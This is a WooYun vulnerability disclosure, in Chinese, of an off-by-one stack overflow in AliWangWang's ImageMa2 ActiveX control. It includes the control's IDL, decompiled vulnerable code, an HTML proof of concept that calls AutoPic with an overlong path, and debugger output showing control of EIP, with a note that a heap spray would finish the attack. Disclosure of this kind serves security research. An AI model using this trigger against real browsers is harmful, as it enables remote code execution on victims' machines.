淘宝阿里旺旺远程ActiveX栈溢出漏洞

漏洞概要

缺陷编号: WooYun-2011-01380

漏洞标题: 淘宝阿里旺旺远程ActiveX栈溢出漏洞

相关厂商: 阿里巴巴

漏洞作者: wjb

提交时间: 2011-02-21

公开时间: 2011-02-26

漏洞类型: 远程代码执行

危害等级: 高

漏洞状态: 厂商忽略漏洞

漏洞来源: http://www.wooyun.org


漏洞详情

简要描述:

这个应该是WooYun-2011-01334的升级版漏洞,在最新版中依然存在。

详细说明:

ImageMa2 ActiveX IDL文件如下:

[

uuid(D81C6073-919F-4F3A-B12C-7EAF0F6B1F90),

helpstring("ImageManager2 Class")

]

coclass ImageManager2 {

[default] interface IImageManager2;

[default, source] dispinterface _IImageManager2Events;

};



[

odl,

uuid(F068E587-4F89-4949-8FA5-82EF935F688A),

helpstring("IImageManager2 Interface"),

dual,

oleautomation

]

interface IImageManager2 : IDispatch {

[id(0x00000001), helpstring("method ManualPic")]

HRESULT ManualPic(BSTR szFileName);

[id(0x00000002), helpstring("method AutoPic")]

HRESULT AutoPic(

BSTR szFileName, 

BSTR* szOut);

[id(0x00000003), propget, helpstring("property url")]

HRESULT url([out, retval] BSTR* pVal);

[id(0x00000003), propput, helpstring("property url")]

HRESULT url([in] BSTR pVal);

[id(0x00000004), propget, helpstring("property containerType")]

HRESULT containerType([out, retval] BSTR* pVal);

[id(0x00000004), propput, helpstring("property containerType")]

HRESULT containerType([in] BSTR pVal);

[id(0x00000005), propget, helpstring("property functionCallback")]

HRESULT functionCallback([out, retval] BSTR* pVal);

[id(0x00000005), propput, helpstring("property functionCallback")]

HRESULT functionCallback([in] BSTR pVal);

[id(0x00000006), propget, helpstring("property draw")]

HRESULT draw([out, retval] BSTR* pVal);

[id(0x00000006), propput, helpstring("property draw")]

HRESULT draw([in] BSTR pVal);

[id(0x00000007), propget, helpstring("property action")]

HRESULT action([out, retval] BSTR* pVal);

[id(0x00000007), propput, helpstring("property action")]

HRESULT action([in] BSTR pVal);

[id(0x00000008), propget, helpstring("property secureKey")]

HRESULT secureKey([out, retval] BSTR* pVal);

[id(0x00000008), propput, helpstring("property secureKey")]

HRESULT secureKey([in] BSTR pVal);

[id(0x00000009), propget, helpstring("property company")]

HRESULT company([out, retval] BSTR* pVal);

[id(0x00000009), propput, helpstring("property company")]

HRESULT company([in] BSTR pVal);

[id(0x0000000a), propget, helpstring("property loginId")]

HRESULT loginId([out, retval] BSTR* pVal);

[id(0x0000000a), propput, helpstring("property loginId")]

HRESULT loginId([in] BSTR pVal);

[id(0x0000000b), propget, helpstring("property picid")]

HRESULT picid([out, retval] BSTR* pVal);

[id(0x0000000b), propput, helpstring("property picid")]

HRESULT picid([in] BSTR pVal);

[id(0x0000000c), propget, helpstring("property Response")]

HRESULT Response([out, retval] BSTR* pVal);

[id(0x0000000c), propput, helpstring("property Response")]

HRESULT Response([in] BSTR pVal);

[id(0x0000000d), propget, helpstring("property PicFileName")]

HRESULT PicFileName([out, retval] BSTR* pVal);

[id(0x0000000d), propput, helpstring("property PicFileName")]

HRESULT PicFileName([in] BSTR pVal);

[id(0x0000000e), propget, helpstring("property xmlParam")]

HRESULT xmlParam([out, retval] BSTR* pVal);

[id(0x0000000e), propput, helpstring("property xmlParam")]

HRESULT xmlParam([in] BSTR pVal);

};





ImageMa2 ActiveX在处理AutoPic方法时存在一个off-by-one的栈溢出漏洞,我想这个应该是2月18日那个栈溢出漏洞修补后的遗留问题:

2月18的公告链接:

http://wooyun.org/bugs/wooyun-2010-01334

http://bbs.taobao.com/catalog/thread/508895-250539394.htm 



因为我在修补过的版本AliIM2010_taobao 6.50.10C的ImageMa2.dll中看到程序员在AutoPic的处理函数中加入了2个返回值检查的地方:



1) 调用WideCharToMultiByte()转换unicode字符串时做了返回值检测,这样限制了传入的参数不超过260个字节。



WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0)



2) 同样在调用strrchr查找’\’时也做了返回值检测,确保了返回值不为NULL。因为后面mbsnbcpy函数的第三个(size)的参数是strrchr的返回值减去FullPath的起始地址然后加一.

strrchr(&FullPath, "\\")) 



但是显然程序员忽略了在sub_100105EB()调用的子函数存在一个off-by-one的栈溢出漏洞。



sub_100105EB() -> sub_100103FA() (建议用IDA分析ImageMa2的时候把dll的基地址rebase成0x10001000,这样就能方便定位到我描述的问题所在处了。)



sub_100103FA():







//首先调用splitpath分解传入的FullPath到本地变量

splitpath(FullPath, &Drive, &Dir, &Filename, &DestStr);





char *filesuffix= (char *)_mbsupr(&DestStr);

if ( _mbscmp(filesuffix, ".GIF") )

name = ".jpg";

else

name = ".gif";

strcpy(&DestStr, name);



DWORD count = 9999;

while ( 1 )

{

DWORD rd = rand();

sprintf((char *)&Dest, "%s%s%s_%04d%s", &Drive, &Dir, &Filename, rd % 10000, &DestStr);

if (!GetFileAttributesA(&Dest))

break;

count–;

if ( !count )

return 0;

}



当我们传入的路径不包含后缀名时,该函数会自动帮忙添加.jpg或者.gif的后缀,当我们传入的数据到达260字节后,sprintf打印的文件名为:

"[我们传入的路径]_1234.jpg",然后这里程序员忽略了sprintf会自动在缓冲区末尾添加00做截断,从而也就导致了一个stack off-by-one的问题,导致了保存的

ebp最后一个字节被覆盖成0的字节,当函数返回时就会跳转至缓冲区内的内容处执行,而这个内容是我们可控的。

漏洞证明:

PoC:



<html>

<object classid=’clsid:D81C6073-919F-4F3A-B12C-7EAF0F6B1F90′ id=’x’ />

</object>

<script>

var url = ""

for (var i = 0; i < 0x102; i ++)

{

url += "\x0c";

}



url += "\\";



x.AutoPic(url, "123");

</script>

</html>





测试环境

Windows XP SP3 CN + AliIM2010_taobao 6.50.10C



调试输出:

sprintf后的内容:

0:005> d 01e3f1ac L 110

01e3f1ac 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f1bc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f1cc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f1dc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f1ec 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f1fc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f20c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f21c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f22c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f23c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f24c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f25c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f26c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f27c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f28c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c …………….

01e3f29c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 5f ……………_

01e3f2ac 39 39 37 38 2e 6a 70 67-00 f5 e3 01 04 06 03 03 9978.jpg……..





当上层函数返回后,我们可以看到eip被修改成我们控制的内容了:



eax=00000000 ebx=00000000 ecx=00000210 edx=00000210 esi=03193748 edi=01e3f4ec

eip=03030604 esp=01e3f2cc ebp=01e3f500 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ImageMa2!DllUnregisterServer+0x9f34:

03030604 c20800 ret 8

0:005> kb

ChildEBP RetAddr Args to Child 

WARNING: Stack unwind information not available. Following frames may be wrong.

01e3f500 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ImageMa2!DllUnregisterServer+0x9f34

01e3f5fc 77105cd9 03193748 001d70f4 022e1a2c <Unloaded_sspc.dll>+0xc0c0bfb

01e3f61c 771062e8 03193748 00000020 00000004 OLEAUT32!DispCallFunc+0xc3

01e3f6ac 03027660 02345f04 03193748 00000000 OLEAUT32!DispCallFunc+0x6d2

01e3f6d4 3db58b4f 03193748 00000002 3db31234 ImageMa2!DllUnregisterServer+0xf90

01e3f714 3dd64167 03193748 00000002 00000409 mshtml!DllGetClassObject+0xc9c81

01e3f754 3dd63bc8 002201d0 00000002 00000409 mshtml!ConvertAndEscapePostData+0x89660

01e3f788 75be29d7 002201d0 00000002 00000409 mshtml!ConvertAndEscapePostData+0x890c1

01e3f7c0 75be2947 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x6a0e

01e3f7f8 75be31e5 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x697e

01e3f868 75be1c0a 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x721c

01e3f8b0 75be1211 009ac210 01e3f8d0 00000001 jscript!DllCanUnloadNow+0x5c41

01e3f8f0 75be11c6 009ac210 00000001 00000000 jscript!DllCanUnloadNow+0x5248

01e3f914 75be311d 009ac210 00000000 00000001 jscript!DllCanUnloadNow+0x51fd

01e3f9cc 75be1123 01e3fa10 00000000 009ad6b0 jscript!DllCanUnloadNow+0x7154

01e3f9e4 75be0f8a 01e3fa10 00000000 00000000 jscript!DllCanUnloadNow+0x515a

01e3fa54 75bd3777 009ad6b0 01e3fc04 00000000 jscript!DllCanUnloadNow+0x4fc1

01e3faa4 75bcc357 01e3fc04 01e3fbe4 009ac00c jscript!DllGetClassObject+0x5728

01e3fb08 75bcc1a8 022dc56c 0023034c 00000000 jscript+0xc357

01e3fb34 3dad2af5 009ac00c 022dc56c 0023034c jscript+0xc1a8



当然在完全返回之前还有一个读写内存的异常:

(dfc.638): Access violation – code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=022e38f4 ebx=00000000 ecx=03194208 edx=00000022 esi=0c0c0c0c edi=01e3f4ec

eip=03031d01 esp=01e3f2d8 ebp=01e3f500 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

ImageMa2!DllUnregisterServer+0xb631:

03031d01 8906 mov dword ptr [esi],eax ds:0023:0c0c0c0c=????????

我们只需要在Heap Spray中填充这个地址的内容即可,时间仓促就暂不提供working的PoC了。

发表评论?

0 条评论。

发表评论